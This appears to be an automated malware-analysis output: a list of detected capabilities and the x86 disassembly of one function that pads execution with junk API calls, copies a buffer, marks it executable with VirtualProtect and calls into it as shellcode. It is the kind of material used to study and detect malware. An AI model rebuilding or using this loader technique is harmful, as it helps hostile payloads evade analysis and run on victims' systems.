Function at 0x405650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x425004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x46cc2c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x405686
mov ecx, dword [0x426934]
mov dword [0x46cfb4], ecx
cmp eax, 0x3c
jne 0x405693
push ebx
call edi
mov eax, dword [0x46cc2c]
inc esi
cmp esi, 0x5f6c74
jl 0x405672
cmp eax, 0x7c
jne 0x4056d9
push ebx
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x40573c
push ebx
mov dword [0x46cc20], ebx
mov dword [0x46cc24], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.newayayupamakosacuwapawovinecuzu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor esi, esi
cmp dword [0x46cc2c], ebx
jbe 0x405789
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x46cfb4]
mov dword [ebp - 0x30], eax
mov eax, 0xa231
add dword [ebp - 0x30], eax
cmp dword [0x46cc2c], 0x5ab
mov ecx, dword [ebp - 0x30]
mov dl, byte [ecx + esi]
mov eax, dword [0x46c950]
mov byte [eax + esi], dl
jne 0x405780
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x46cc2c]
jb 0x405751
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x46cc2c]
mov eax, dword [0x46c950]
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055c0
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea ecx, [ebp - 0x2c]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4057e6
cmp dword [ebp - 0x24], 0xf5bed7
jne 0x4057ef
inc esi
cmp esi, 0x1ece7a52
jl 0x4057c5
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x40580d
call fcn.00405440
cmp dword [0x46cc2c], 0x3dc
mov dword [0x46c954], 0x8e46a6f0
jne 0x405834
xor edx, edx
lea ecx, [ebp - 0x38]
push ecx
push edx
push edx
push edx
push edx
mov dword [ebp - 0x30], edx
call edi
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405800
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret